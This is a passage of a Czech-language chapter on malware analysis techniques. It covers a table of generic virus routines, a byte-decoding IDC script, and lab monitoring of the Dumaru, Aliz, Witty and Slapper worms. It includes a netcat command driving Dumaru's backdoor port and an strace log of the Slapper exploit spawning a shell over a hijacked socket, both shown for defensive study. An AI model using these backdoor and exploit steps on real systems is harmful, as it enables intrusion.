vám k označení rutin, přímo provádějících infekci. V tabulce 15.3 je uvedena skupina možných generických rutin, které mohou být často nalezeny pomocí obecných vzorů. Obvykle takové vzory vyhledávám – mohu je pak spojit s částmi kódu nebo dat. Tento typ analýzy sice vyžaduje jistou zkušenost, nicméně může vám však pomoci ve vašich začátcích.

Tabulka 15.3 – Obecné vzory v počítačových virech.

Obecný vzor

Smysl/Jak jej rozeznat?

START/MAIN

Toto je jednoduchý vstupní bod virového kódu.

GET_BASE

Spočítá relativní offet viru v souboru. Hledejte vzory jako CALL na instrukci POP.

M_GETMODULE_HANDLE

Bázová adresa knihovny. Virus například vyhledává adresu na bázi KERNEL32 s přímým přístupem blízko 0xBFF70000 a signaturám "MZ" a "PE".

M_GETPROC_ADDRESS

Viry musí volat API v adresovém prostoru procesu. Takový kód volá GetProcAddress() v adresáři exportu báze KERNEL32.

GET_APIS_WITH_CRC

Nejsou-li ve viru žádná jména API, podezřívejte použití kontrolních součtů.

Hledejte nějakou magickou hodnotu DWORD spojenou s rutinou kontrolního součtu.

HOOK_API

Takové viry typicky modifikují kód ostatních modulů s instrukcemi skoku do jejich vlastních rutin.

HOOK_INTERRUPT

Hledejte změny v tabulce vektorů přerušení nebo v poškozené tabulce přerušení.

HOOK_FILE_SYSTEM

Virus je aktivní v paměti a infikuje soubory při přístupu k nim. Jedná se o vzor podobný HOOK_API nebo HOOK_INTERRUPT, nebo o jednoduché volání API spojené se systémem souborů.

INFECT_ON_ACCESS

Hlavní rutina viru pro infekci při přístupu. Toto je offset, na který se připojená rutina odkazuje.

DIRECT_INFECTION

Virus infikuje soubory, vyhledané jako *.*, *.exe nebo *.scr v kořenovém adresáři nebo v systémových adresářích.

INFECT_DIRECTORY

Tato rutina je vložena do předchozí jako vedlejší. Infikuje obsah jednoho adresáře.

INFECT_FILE

Je volán virem pro infekci souboru. Hledejte vzory, které kontrolují strukturu souboru, jako jsou "MZ" nebo "PE", identifikující soubor PE.

STEALTH

Virus manipuluje s navrácenými daty v připojené rutině. Například je připojena funkce NtQuerySystemInformation(), která před správcem procesů ukrývá jméno procesu.

INIT_EXPLOIT

Kód je spojen se známou zranitelností a je použit k automatickému spuštění kódu červa na zranitelných systémech.

Počítačové viry – analýza útoku a obrana

541

Obecný vzor

Smysl/Jak jej rozeznat?

SCAN_NODE

Červ používá tuto rutinu pro vyhledání vzdálených systémů, a jejich následnou infekci. Může se jednat o funkci s náhodným výsledkem, sloužící k náhodnému generování IP adres.

ENUMERATE_SHARES

Kód, který vyhledává sdílené síťové disky, je typický pro moderní viry.

INFECT_REMOTE_ NODE

Posílá exploit a tělo červa na cílovou adresu.

ENCODE_FILE

Toto může být kódovací rutina, jako třeba BASE64. Můžete ji rozeznat například pomocí konstanty "MIME". Je velice rozšířená v hromadně se rozesílajících červech.

MASS_MAIL

Připojí se na SMTP server na portu 25 a v e-mailu pošle tělo červa.

POLY_ENGINE / META_ENGINE

Polymorfní stroj. Ve virech psaných v assembleru je tento kód často rozsáhlý.

Mnohokrát zabírá více než 50 % kódu viru. Hledejte instrukce pro konstrukci kódu, jako jsou NOP, MOV nebo XOR.

PAYLOAD

V kódu hledejte spouštěč – například kontrolu data a času – který je následován zprávou, animací, smazáním souboru nebo nějakou rutinou pro poškození (útok DoS nebo něco podobného).

Výkonné nástroje (kam patří i IDA) jsou často programovatelné. IDA umožňuje spouštět soubory příkazových skriptů (IDC), které mohou být z různých důvodů užitečné. Mohou například pomoci při práci se zakódovanými soubory. Protože virus CTX je polymorfní, je v nakažených souborech zakódován.

K analýze je nutné jej nejdříve dekódovat. Protože je silně polymorfní, je dobré pracovat s debuggerem v uživatelském režimu.

Podívejme se zběžně na dekódovací rutinu viru. Je poměrně jednoduchá, takže je možné ji implementovat jako soubor IDC, jak je ukázáno ve výpisu 15.2. Poznamenejme, že některé viry, jako například Sobig, používají k zakódování dat složitější šifry, například DES. Jejich přepsání do IDC je nepraktické.

Výpis 15.2 Velmi jednoduché dekódování v IDC. #include <idc.idc> static main() { auto ea; auto b; for (ea = SelStart(); ea < SelEnd(); ea = ea+1) { b = Byte(ea); b = b - 1; PatchByte(ea, b); } }

542

Kapitola 15 – Techniky analýzy škodlivého kódu

Kód ve výpisu 15.2 používá IDC příkazy SelStart() a SelEnd() k získání intervalu bajtů, které jsou v uživatelském rozhraní IDA zvýrazněny. Poté je v této oblasti dekódován každý bajt tak, že od něj odečte číslo 1. Nakonec je pomocí příkazu PatchByte() nahrazen bajt v databázi IDA bajtem dekódovaným.

Podívejme se na část viru W95/Marburg uvedenou na obrázcích 15.6 a 15.7. V nejjednodušším případě kóduje Margurg každý bajt těla kódu jedním bajtem. Výše uvedená rutina dekódování v IDC tedy bude proti zakódovaným instancím tohoto viru dobře fungovat. Obrázek 15.6 ukazuje zakódovanou oblast viru. Nejdříve nahrajeme ICD skript, který potřebujeme, například jednoduchý dekódovací soubor uvedený ve výpisu 15.2, který nazveme jako "decode.idc". Poté označíme oblast, na kterou má být použita dekódovací funkce. Virus je následně dekódován a je uložen do databáze IDA (viz obrázek 15.7).

Obrázek 15.6

Zakódovaná část viru Marburg.

Obrázek 15.6

Dekódovaná část viru Marburg.

Počítačové viry – analýza útoku a obrana

543

Toto manuální dekódování může být prováděno i pomocí dalších nástrojů, jako je například vynikající program HIEW (Hacker’s View) od Eugene Suslikova, který byl původně plánován jako plug-in do Norton Commanderu. O programu HIEW jsem se dozvěděl v roce 1996 od Vesselina Bontcheva. Jak Vesselin zdůraznil, HIEW může pracovat s jednoduchým kódováním, jeho možnosti jsou však omezené. Může například dekódovat pouze aktuálně zobrazený obsah, takže je proces dekódování pomalý. Přesto se však jedná o vynikající způsob práce s jednoduchými kódováními, které používají 8bitové nebo 16bitové klíče.

Na obrázku 15.8 je zobrazen HIEW se zavedených souborem, nakaženým virem Margurg a příkazovým dialogem pro dekódování. Tento dialog může být použit k zadávání příkazů, uvedených na jeho pravé straně. Například instrukce "sub al, 1" znamená načtení bajtu na aktivní pozici kurzoru do registru AL, dešifrování hodnotou 1 (jejím odečtením), zapsáním zpět na aktivní pozici a pokračování další hodnotou. Na obrázku 15.9 je v programu HIEW částečně dešifrován virus Marburg.

Obrázek 15.8

Dešifrovací dialog programu HIEW.

Obrázek 15.9

Část dešifrovaných dat uvnitř viru Marburg.

15.4.4 Techniky dynamické analýzy Až doposud jsme se zabývali technikami statické analýzy, která může být prováděna bez spouštění škodlivého kódu na vyhrazeném systému nebo uvnitř virtuálního stroje. Techniky dynamické analýzy se zaměřují na testování pomocí black-boxu. Tyto techniky mohou být velice užitečné pro rychlé pochopení některých funkcionalit škodlivého kódu, například replikace kódu viru z jednoho objektu na druhý.

Mohou však také vést ke zklamání, nejsou-li zkombinovány s disassemblováním a podrobnou analýzou druhu virového kódu. Kompletní způsob fungování může odkrýt pouze detailní analýza škodlivého kódu. Při shromaždování a používání výstupů technik "black-boxu" buďte opatrní. Spuštěním škodlivého kódu na vyhrazeném systému můžete monitorovat některé aspekty jeho chování a poté je rychleji porovnat s disassemblovaným objektem.

V této části se budeme zabývat monitorováním škodlivého kódu pomocí následujících technik:

544

Kapitola 15 – Techniky analýzy škodlivého kódu

 M  onitorování změn v souborech.  Analýza založená na goat souborech.  M  onitorování změn registru.  M  onitorování procesů a threadů.  M  onitorování síťových portů.  S ledování a zachytávání provozu na síti.  T rasování systémových volání.  D ebugování.  E mulace kódu.

Společnost Sysinternals nabízí několik vynikajících utilit, vytvořených Markem Russinovichem a Bryce Cogswellem, které mohou být použity pro demonstraci většiny technik monitorování škodlivého kódu.

Byla mi doporučena vynikající práce Marka Russinoviche za několik posledních let. Naposledy napsal, společně s Davidem Solomonem, knihu popisující detaily operačních systémů Windows 2000, XP a Server 2003, čímž se tak stal světově proslulým expertem na systémy Windows.

Pro systémy Windows 2000/NT je k dispozici užitečný integrovaný nástroj nazvaný jako VTRACE, pomocí kterého je možné trasovat mnoho aspektů systému, včetně systémových volání a volání Win32. Je k dispozici na adrese http://www.cs.berkeley.edu/~lorch/vtrace. Integruje logování souborového systému nástrojů Sysinternals a umí trasovat všechny aktivity v systému, včetně síťového provozu.

15.4.4.1 Monitorování změn v souborech Protože většina virů mění obsah souborů uložených v systému, je výborným způsobem analýzy chování virů jejich spuštění na testovacím systému a následné monitorování změn v souborech. Existuje několik možných způsobů provádění této analýzy. My se však zaměříme na techniky, které jsou vám bezprostředně k dispozici. Začneme s nástrojem Filemon od Sysinternals. Tento nástroj zavede filtrovací ovladač v režimu jádra, který se připojí k souborovému systému. Výhodou toho postupu je, že monitorování souborů je velice přesné. Monitor nyní může zobrazit všechny události v systému souborů. Alternativně můžete tento nástroj použít pro monitorování událostí, spojených s konkrétním procesem. Toto je dobrá myšlenka pro zredukování celkového množství informacích uložených v logu, nicméně – může vést k nezaznamenání některých informací, které můžete potřebovat. Pokud výstup Filemonu nefiltrujete, uvidíte velké množství aktivit – ke zpracování logu jsou tedy potřebné určité zkušenosti.

Podívejme se na log File Monitoru uvedený na obrázku 15.10. Když jsem spustil variantu červa Dumaru, která byla nazvána jako suspect.exe, viděl jsem, že červ v adresáři Windows (obrázek 15.10/1) vytvořil soubor dllreg.exe, do kterého zkopíroval obsah souboru suspect.exe (obrázek 15.10/2) o velikosti 34304 bajtů.

Takové události vám mohou dát jasnou představu o tom, co všechno může virus v systému dělat. Můžete například vidět, zdali přidává do všech nakažených souborů stejné informace, nebo ne. Také můžete vidět chyby. Hledá-li například virus spustitelný soubor s určitým jménem, tento požadavek se vám zobrazí. To je velkým přínosem dynamických systémů určených pro monitorování souborů.

Počítačové viry – analýza útoku a obrana

545

Obrázek 15.10 Červ Dumaru vytvořil vlastní kopii v souboru dllreg.exe.

V dalším příkladě na obrázku 15.11 vidíte soubor notepad.exe nakažený červem Dumaru. Dumaru infikuje soubory tak, že původní obsah svého hostitele vloží do alternativního datového streamu nazvaného jako STR a obsah hlavního streamu přepíše sebou samotným. File Monitor pochopitelně události zápisu do notepad.exe zobrazí. Následně je možné zkontrolovat streamy příkazem write pro danou aplikaci.

Obrázek 15.11 Infikovaný notepad.exe s obsahem hostitele ve streamu.

Příkaz "write notepad.exe:STR" ukazuje, že v hostitelském souboru opravdu existuje stream notepad. exe:STR. Když procházím obsah tohoto streamu, vidím obsah původního souboru notepad.exe, který je zobrazen na obrázku 15.11 pod číslem 2. Poznamenejme, že jediným důvodem, proč neuvádím hlavičku tohoto souboru (která začíná značkou MZ), je lepší přehlednost při zobrazení, nic jiného. Jméno assembly uložené uvnitř streamu STR je možné vidět jako "Microsoft.Windows.Shell.notepad".

Jiným výborným a současně volně dostupným nástrojem pro vyhledávání alternativních datových streamů je LADS od Franka Heyneho (k dispozici na www.securityfocus/tools/1251/scorit). Tento program například nalezne stream "Zone.Identifier" v souborech Windows XP SP2. V této variantě systému programy Internet Explorer a Outlook Express označují stažené soubory a přílohy a ukládají je s informací ZoneID – pro případ potřeby vysledování jejich zdroje.

546

Kapitola 15 – Techniky analýzy škodlivého kódu

Existují samozřejmě i alternativní techniky pro monitorování změn v souborech. Jedním z příkladů je použití programu pro kontrolu integrity souborů, který zobrazí log všech změn. Nevýhodou této techniky je to, že ji stealth viry (například členové rodiny červů Gaobot) mohou obejít, takže neuvidíte žádnou změnu. Tato technika však může být efektivnější v kombinaci s trasováním registru. Například, PC magazine nabízí nástroj nazvaný jako InCtrl11, který vytvoří "snapshot" vašeho disku a registru. Když tento nástroj poté spustíte znovu, porovná aktuální stav s tímto dříve vytvořeným snapshotem, jak je to ukázáno na obrázku 15.12. To může být užitečné pro rychlou identifikaci jak nových, tak i modifikovaných spustitelných souborů a klíčů registru. Program InCtrl je vlastně velice podobný mému prvnímu programu, který jsem v roce 1990 vytvořil pro práci s počítačovými viry, a který byl založen na kontrole integrity pomocí snapshotů.

Obrázek 15.12 Program InCtrl ukazuje nový soubor vytvořený ve složce WINNT.

15.4.4.2 Testování přirozené infekce pomocí goat souborů Když pracujete s neznámými programy, které zkoumáte, určitě víte, že na první pohled může být velice obtížné rozhodnout, zdali je program infikován nebo ne. Goat soubory byly výzkumníky počítačových virů vyvinuty pro přesné a rychlé rozlišení hostitelských programů a virů k nim připojeným.

V systému DOS nemusí jednoduchý goat soubor obsahovat více než instrukci INT 20h (0xCD, 0x20), která vyvolá přerušení "návrat do DOSu", která je na začátku souboru a je následována N instrukcemi NOP (0x90). Goat soubor může být specifikován s konkrétní délkou – 1K, 4K, 16K atd. – aby zaznamenal příznaky některých počítačových virů. Velice dobře známý generátor goat souborů, pojmenovaný jako GOAT, byl v polovině devadesátých let představen Igorem Muttikem. Igorův program je i dnes dostupný na některých FTP serverech. Program GOAT demonstruje mnoho standardních vlastností takových nástrojů. Může rychle generovat velké množství testovacích souborů o různých délkách, a podporuje také různé formáty souborů.

Goat soubory mohou být použity v různých situacích. Jak bylo popsáno v kapitole 4, virus W95/CIH používá metodu "rozdělených dutin" – jeho tělo je tedy fragmentováno, což činí analýzu napadeného souboru obtížnější. Když se virus CIH objevil, rychle jsem vytvořil testovací soubory, které měly dostatečně velkou část hlavičky, takže je virus infikoval v jedné části. Analýzu viru jsem tedy začal s jedinou sekcí kódu. Ostatní naopak vytvářeli programy, které skládaly tělo viru dohromady, což ovšem zabralo mnohem více času, než mé použití vhodných goat souborů.

Počítačové viry – analýza útoku a obrana

547

Existují dva základní druhy goat souborů – jednoduché, které nedělají prakticky nic a chytré12, které mají některé speciální funkce. Například goat soubory Joea Wellse zobrazují tabulku vektorů přerušení, pokud je hostitel spuštěn. To může být užitečné ke zjištění, zdali se virus po svém spuštění zavěsil na nějaká přerušení. Chytré goat soubory mohou také kontrolovat svoji vlastní strukturu a vrátit chybový kód, pokud byly modifikovány. To může být užitečné v běžících dávkových procesech.

Jiným příkladem je použití goat souboru pro kontrolu dezinfekce. Takový soubor provede při spuštění kalkulaci pomocí registrů; výsledek této kalkulace vrátí13. Navrácením této kalkulace jako chybového kódu může být automaticky otestována dezinfekce. Pokud byl infikovaný soubor nekorektně opraven, běžící kód to zaznamená a projeví se to ve výsledku.

Uvažujme nad příklady mých typických goat souborů – které nazývám jako nástražné (trap) soubory – uvedených na obrázku 15.13. Aplikace write.exe je infikována virem W95/Margurg. Poznamenejme, že 13029 (velikost souboru write.exe) je dělitelné 101, což je známkou viru.

Obrázek 15.13 Čisté goat soubory a aplikace write, která je infikovaná virem W95/Marburg.

Na obrázku 15.14 můžete vidět, že všechny mé nástražné soubory byly infikovány poté, co jsem několikrát spustil virus. Nejprve spustím první infikovaný program a poté zkontroluji, jestli byly úspěšně napadeny i ostatní programy.

Obrázek 15.14 Napadené goat soubory.

Informace o programu obvykle ukládám jako zprávu v mých vlastních goat programech. Pro Marburg jsem například vytvořil speciální goat soubory, protože tento virus infikuje soubory odlišným způsobem, pokud nejsou ve vstupním místě hostitele žádné relokace. Pro nasimulování této skutečnosti jsem do tohoto vstupního bodu jednoduše vložil několik instrukcí NOP. Tyto soubory mohou být užitečné i později, když jiný virus použije k infekci spustitelného souboru stejný postup.

Konce souborů označuji pomocí značky "END", jak je ukázáno na obrázku 15.15. To mi často pomáhá najít rychleji začátek těla viru, který bude v testovacích souborech vpravo za touto značkou.

Obrázek 15.15 Konec čistého goat souboru zobrazeného v nástroji HIEW.

548

Kapitola 15 – Techniky analýzy škodlivého kódu

Infikované goat soubory jsou nesmírně důležitou součástí procesu analýzy. Vědí-li používané nástroje, která část souboru se změnila, mohou automaticky porovnávat a mapovat většinu počítačových virů a téměř přesně je detekovat. Takové mapování poskytuje velice dobrý základ pro přesnou identifikaci, která může být analytikem dále s velkou přesností ověřena.

Potřebujete-li vytvářet goat soubory pro různé operační systémy na platformách Intel, doporučuji program NASM (NetWide Assembler). Jedná se o volně dostupný x86 assembler, který podporuje formáty objektů Windows a PE, stejně jako formáty ELF, COFF a také a.out na platformách Linux a BSD. Můžete jej získat na adrese http://sourceforge.net/projects/nasm.

15.4.4.3 Monitorování změn registru Dalším nezbytným nástrojem je Regmon od Sysinternals. Dokáže zobrazit všechny přístupy do registru a všechny změny v něm, které se týkají určitého programu. Na obrázku 15.16/1 je zobrazeno, jak Registry Monitor zaznamenává přístup červa Dumaru ke klíčům HKLM\Software\Microsoft\Windows\CurrentVersion\Run ohledně nastavení programu load32.exe, který se pak bude spouštět při každém dalším přihlášení uživatele Windows.

Obrázek 15.16/2 pak ukazuje, jak je jiný klíč HKCU\Software\Microsoft\WindowsNT\CurrentVersion\ Windows\run nastaven pro spuštění souboru dllreg.exe. Vznik tohoto souboru samozřejmě zaznamenán programem File Monitorem, jak je to ukázáno na obrázku 15.10.

Můžete také vidět, že se soubor suspect.exe (červ Dumaru) dotazuje na hodnoty uložené v registru. Červ je však nepravý (bogus) a dotazy tak selžou. Takové události vám mohou dát vodítko k tomu, co je špatně. Můžete například vidět přístup ke klíčům, ve kterých je uloženo jméno SMTP serveru nebo Adresáře pro Windows. Nejsou-li dotazy správné, je možné, že červ nebude dokonale fungovat – pak můžete v testovacím prostředí provést odpovídající změny a spustit červa znovu.

Obrázek 15.16 Monitorování změn v registru prováděných červem Dumaru.

Počítačové viry – analýza útoku a obrana

549

15.4.4.4 Monitorování procesů a threadů Monitorování procesů a threadů je také velmi důležité. Mnoho technik bylo ilustrováno v kapitole 12, v popisu různých metod skenování paměti. Monitorování aktivit procesů a threadů je dobrým zvykem mnoho výzkumníků, protože může poskytnout mnoho zajímavých informací o vnitřní struktuře červa.

Pokud například vidíme vytvoření několika threadů, bude nám tato informace užitečná při zkoumání červa v disassembleru. K zobrazení procesů a threadů můžeme použít standardní nástroje, jako například Správce úloh ve Windows. Mějte však na paměti, že některé thready se mohou před Správcem úloh snadno ukrýt. Červi a škodlivý kód se například mohou registrovat jako služby, takže se neobjeví ve Správci úloh systému Windows 95/ME. K překonání těchto problémů můžeme použít nástroj od Sysinternals, nazvaný jako Process Monitor, a nechtěné úlohy pohotově zrušit.

Dalším vynikajícím nástrojem je HandleEx, který umí zobrazit DLL zavedené samotným procesem, společně s handlery otevřených souborů, sekcemi paměti atd.

15.4.4.5 Monitorování síťových portů Je důležité monitorovat seznam otevřených síťových portů v systému. Programy se zadními vrátky a různí počítačoví červi pracující na podobném principu často otevírají nějaký port (nebo i několik portů), ke kterému se útočník pak může připojit. K zobrazení všech otevřených portů v systému můžeme použít standardní příkaz, jako je například "netstat -a". Mnohem lepší možností je však použití TCPView, který zobrazuje jména všech procesů, spojených s TCP a UDP porty.

Když spustíme soubor suspect.exe (červ Dumaru) na testovacím systému VMWARE, vidíme, že opevírá tři TCP porty – 1001, 2283 a 10000 (viz obrázek 15.17).

Obrázek 15.17 Červ Dumaru otevírá porty v systému.

Pokud si zběžně prohlédneme oblast konstantních dat červa, vidíme podezřelé příkazy, které jsou s těmito porty spojeny. Pomocí nástroje NC (Netcat) pak můžeme vyzkoušet zadní vrátka. Například pomocí příkazu "NC localhost 10000" se můžeme připojit na vlastní počítač (localhost) na portu 10000/tcp (útočník samozřejmě nepoužije localhost, ale IP adresu cílového počítače). Pak použijeme příkaz zadních vrátek "mkd" s parametrem "temp12", což by mělo vést k vytvoření takto pojmenovaného adresáře (viz obrázek 15.18).

Pokud si však výsledek zkontrolujeme zobrazením obsahu adresáře (jak je to ukázáno na obrázku 15.19), vidíme, že nebyl vytvořen adresář "temp12", ale adresář "temp1" – poslední znak byl vypuštěn.

550

Kapitola 15 – Techniky analýzy škodlivého kódu

Obrázek 15.18 Spojení se zadními vrátky červa Dumaru pomocí NC (NetCat).

Obrázek 15.19 Test ukazuje, že pomocí zadních vrátek se vytvořila složku "temp1".

Jak ukazuje tento příklad, dynamické testování nám dává lepší přehled o tom, co přesně škodlivý kód dělá. Monitorování portů je samozřejmě výborným způsobem, jak pracovat se škodlivým kódem, který funguje způsobem popsaným v našem příkladu. Mějme však na paměti, že ne všechna zadní vrátka jsou založena na otevřených portech. Některá komunikují pomocí protokolu ICMP (Internet Control Message Protocol) a využívají ozvěny (echa) požadavků. Tento druh zadních vrátek je stále populárnější, protože mnoho společností povoluje průchod některých typů těchto zpráv skrze jejich firewall14. Ukázkou takového útoku, který byl popsán v magazínu Phrack (http://www.phrack.org/phrack/49/P4906), je třeba Loki. Některá zadní vrátka mohou také použít techniku stealth a pomocí ní ukrýt porty, na kterých naslouchají. Tento druh škodlivého kódu je potřeba monitorovat jinými prostředky, například pomocí snifferu, který je popsán v následující sekci.

15.4.4.6 Sledování a zachytávání provozu na síti Předchozí sekce popisovala monitorování portů a jeho možné nedostatky. V této části se budeme zabývat použitím nástrojů pro sledování provozu na síti (tzv. sniffování) pro lepší pochopení škodlivého kódu. Jak bylo popsáno v kapitole 14, o strategiích obrany na úrovni počítačové sítě, jsou tyto nástroje založeny na promiskuitním režimu síťových karet, který říká síťové kartě, aby všechny příchozí pakety akceptovala jako své vlastní. Analyzujeme-li škodlivý kód na našem vyhrazeném systému, můžeme takové nástroje použít bez toho, aby byl kdokoliv zneklidněn našimi aktivitami. Pro analýzu mohou být užitečné mnoha způsoby. Zachytávání provozu na síti je nezbytné pro vytváření efektivních signatur IDS a jejich další testování. Kromě toho – funkcionalita kódu červa může být dokonale prokázána pouze úspěšným testováním replikací. Toto testování může odhalit nejenom další funkce červa, ale je také užitečné k prověření funkčnosti dekompozitorů (decomposers) v aktivních bránách (gateway) antivirových skenerů.

V kapitole 9 jsme popisovali vnitřní mechanismy fungování SMTP červů. V této krátké části bych rád ilustroval, jak vypadá typický provoz SMTP červa v síti. Taková informace může být užitečná k rozšíření báze znalostí ohledně útoků červů, což například síťovým administrátorům umožňuje sledovat tento druh provozu v jejich sítích. Obrázek 15.20 ukazuje zachycení červa W32/Aliz@mm.

Pro tento příklad jsem připravil dva virtuální stroje. Ten, na kterém běží červ, má IP adresu 169.254.209.90.

Cílový systém, na kterém běží SMTP server v Microsoft IIS, má IP adresu 169.254.185.167. Abych se

Počítačové viry – analýza útoku a obrana

551

vyhnul nutnosti použít další systém, spustil jsem na prvním z nich program Ethereal. Ten sleduje síťový provoz v rozhraní virtuální sítě mezi dvěma stroji, na kterých je spuštěn VMWARE. V hlavním okně programu Ethereal (viz obrázek 15.20/1) můžete sledovat komunikaci mezi SMTP klientem (červem Aliz) a SMTP serverem. Na obrázku 15.20/2 můžete vidět část těla e-mailu, který je přenášen do SMTP serveru. Obrázek 15.20/3 ukazuje data hlavičky e-mailu.

Obrázek 15.20 Červ W32/Aliz@mm zachycený Etherealem.

Co se lze z provedení tohoto pokusu dozvědět? Pokud si myslíte, že přirozená replikace počítačových červů může být otravná, máte pravdu. Má však i mnoho přínosů. Pouhý test přirozené infekce nám dá představu o opravdové povaze počítačových červů. V našem příkladě má replikační mechanismus červa W32/Aliz jeden zajímavý detail – na rozdíl od ostatních červů, kteří se zakódují a odešlou sebe sama jako obraz souboru, Aliz se posílá jako vlastní kopie z paměti. To má zajímavý vedlejší efekt. Protože zavaděč systému Windows může změnit offset vazby API v adresáři importu zavedeného PE souboru, může také změnit vazby importů počítačového červa. Toto je naprosto přirozené. Aliz však zasílá své zakódované tělo pomocí svého kódu umístěného v paměti, takže se tyto změny přenesou do nových systémů a tělo červa se tak nepatrně změní. Jinak řečeno – kontrolní součet MD5 červa ve výchozím systému nemusí být shodný s kontrolním součtem v cílovém systému, i když červ nepoužívá žádnou evoluční funkcionalitu, jakou je například polymorfismus. Software pro filtrování obsahu se může při eliminaci nechtěného provozu spoléhat na MD5 nebo jiný druh kontrolního součtu, takže při pokusu zastavit Aliz nemusí za všech okolností správně fungovat.

Výpis 15.3 porovnává zdrojovou a cílovou kopii červa Aliz pomocí nástroje FC (File Compare). Jak je z výpisu dobře vidět, obě kopie jsou odlišné.

Kapitola 15 – Techniky analýzy škodlivého kódu

552 Výpis 15.3

Porovnání zdrojové a cílové kopie červa Aliz.

Comparing files aliz_on_2k.wxe and ALIZ_ON_95.WXE 00000C34: 23 D0 00000C35: 80 76 00000C36: E8 F7 00000C37: 77 BF 00000C38: 4B A8 00000C39: 56 6D 00000C3A: E8 F7 00000C3B: 77 BF

Pomocí PEDUMP můžeme rychle zobrazit jeden z obrazů a zkontrolovat, kam patří předcházející vzor bajtu. Červ má ve své tabulce importů pouze dvě API, ostatní vybírá dynamicky. Můžeme vidět, že adresy spojené s funkcemi LoadLibrary() a GetProcAddress() korespondují se změnami, které jsme nalezli porovnáním souborů, jak je to ukázáno ve výpisu 15.4.

Výpis 15.4 Použití programu PEDUMP pro kontrolu tabulky importů červa Aliz.

Imports Table: KERNEL32.dll OrigFirstThunk: 00003028 (Unbound IAT) TimeDateStamp: 371FC2B4 -> Thu Apr 22 22:45:40 1999 ForwarderChain: BFF70000 First thunk RVA: 00003034 Ordn

Name

0

BFF776D0) LoadLibraryA (Bound to: BFF776D0

0

BFF76DA8) GetProcAddress (Bound to: BFF76DA8

Jiným příkladem analýzy založené na sledování provozu na síti je zachycení červa Witty na obrázku 15.21. V tomto případě má systém útočníka adresu 192.168.0.1; adresa 192.168.0.3 patří zranitelnému cílovému stroji. Zranitelnost cíle je exploitovatelná pouze v případě, je-li výchozí port na systému 192.168.0.1 (v našem příkladě) 4000/udp – červ simuluje požadavek protokolu ICQ 5, aby zasáhl zranitelný firewall BlackIce, který kontroluje příchozí pakety. Je ovšem faktem, že firewall BlackIce a produkty ISS obecně, mají pouze několik ohlášených kritických zranitelností.

Ke správnému provedení testu musíme mít na cílovém počítači nainstalovaný zranitelný firewall BlackIce. K zachycení síťového provozu na síťovém rozhraní použijeme Ethereal. Ve výchozím stroji můžeme pro vložení paketu červa použít NetCat. Poté, co červ zasáhne cíl, následuje rychlá sekvence ARP požadavků – červ se snaží odeslat na náhodně vygenerované IP adresy (viz obrázek 15.21/1). Můžeme zřetelně vidět, že stroj 192.168.0.3 souvisle generuje nové IP adresy, jako 98.134.202.225, 222.215.13.142

Počítačové viry – analýza útoku a obrana

553

atd. Obrázek 15.21/2 ukazuje informace obsažené v paketu zachyceného v síti. Na následujícím obrázku 15.21/3 pak můžeme číst zprávu červa – "insert witty message here" – tedy jméno červa.

Obrázek 15.21 Červ Witty zachycený pomocí Etherealu.

Kód červa Witty dává smysl pouze uvnitř zranitelného hostitelského procesu, protože v adresovacím prostoru používá pevně zakódované adresy. Tento kód je těžké analyzovat pomocí disassembleru, protože analytik musí hádat spoustu věcí. To však může snadno vést k nekorektní analýze a špatným závěrům. Je proto jednodušší provést korektní analýzu pomocí vhodných nástrojů a přirozené infekce. Mám za to, že detailům lze lépe porozumět pomocí debuggerů. Další část kapitoly vysvětluje principy analýzy založené na nich.

15.4.4.7 Trasování systémových volání Dalším možným způsobem, jak shromáždit informace o běžící aplikaci, je použití přerušení nebo systémového trasovače, který dokáže za běhu programu logovat (protokolovat) volaná přerušení nebo API. Takové nástroje je ovšem velmi obtížné používat a jen velmi málo z nich funguje správně na systémech Windows. Na systémech UNIX bývají nástroje pro trasování systému jeho standardní součástí a mohou tak být použity k analýze škodlivého kódu. V kapitole 10 jsem demonstroval použití nástroje Interrupt Spy, který je použitelný k trasování přerušení DOSu. Také u systému Linux může občas dojít k situacím, ve kterých nám může dát trasování systému lepší přehled o problému samotném. Například během úto-

554

Kapitola 15 – Techniky analýzy škodlivého kódu

ku červa Linux/Slapper jsme společně s Fredericem Perriotem pomocí nástroje strace sledovali na Linuxu systémové volání procesu Apache, abychom lépe pochopili kód exploitu. Věděli jsme, že v jednom bodě používá exploit ke spuštění kódu shellu příkaz sys_execve s parametrem /bin/sh. Studiem logu programu strace od místa zpětného volání execve(), jsme lépe pochopili, jak kód shellu získal kontrolu nad heapem (hromadou). Obrázek 15.22 ukazuje část tohoto logu, vytvořeného pomocí nástroje strace během útoku Linux/Slapper.

V bodě T1 funkce malloc() alokuje paměť. Je volána zranitelným procesem Apache. V bodě T2 je volána funkce free(), položka GOT této funkce je však upravena (detaily jsou popsány v kapitole 10). V bodě T3 je jiná funkce free() – nyní se však už nejedná o funkci skutečnou. I když nástroj strace věří, že se jedná o funkci free() založenou na GOT, je toto volání již ukradeno (hijacked) a odkazuje se na kód shellu.

V bodě T4 je kódem exploitu opakovaně volána první funkce SYS_socketcall, aby byl nalezen socket, pomocí kterého se kód exploitu dostal do systému. Poté je v bodě T5 handle duplikován, zavolá se falešná funkce SYS_setresuid() a nakonec se pomocí funkce SYS_execve() spustí příkazový shell (/bin/sh), který se pomocí "recyklovaného" socketu útočníka připojí k jeho systému.

T1: 910 [407a6c24] malloc(200) = 0x081f35c8 : : T2: 910 [407a6d12] free(0x081f35c8) = <void> free() patches free’s GOT T3: 910 [407a6d12] free(0x081fb780) = <void> Hijacked free() : T4: 910 [081f36d9] SYS_socketcall(7, 0xbffff6dc, 0x081fb780, 0xbffff6ec, 0xbffff6dc) = -9 T4: 910 [081f36d9] SYS_socketcall(7, 0xbffff6dc, 0x081fb780, 0xbffff6ec, 0xbffff6dc) = -9 : T4: 910 [081f36d9] SYS_socketcall(7, 0xbffff6dc, 0x081fb780, 0xbffff6ec, 0xbffff6dc) = 0 : : T5: 910 [081f36f9] SYS_dup2(4, 2, 0x081fb780, 0xbffff6ec, 0xbffff6dc) = 2 T5: 910 [081f36f9] SYS_dup2(4, 1, 0x081fb780, 0xbffff6ec, 0xbffff6dc) = 1 T5: 910 [081f36f9] SYS_dup2(4, 0, 0x081fb780, 0xbffff6ec, 0xbffff6dc) = 0 T6: 910 [081f3706] SYS_setresuid(0, 0, 0, 0xbffff6ec, 0xbffff6dc) = -1 T7: 910 [081f371e] SYS_execve("/bin//sh", 0xbffff6c8, NULL) = 0

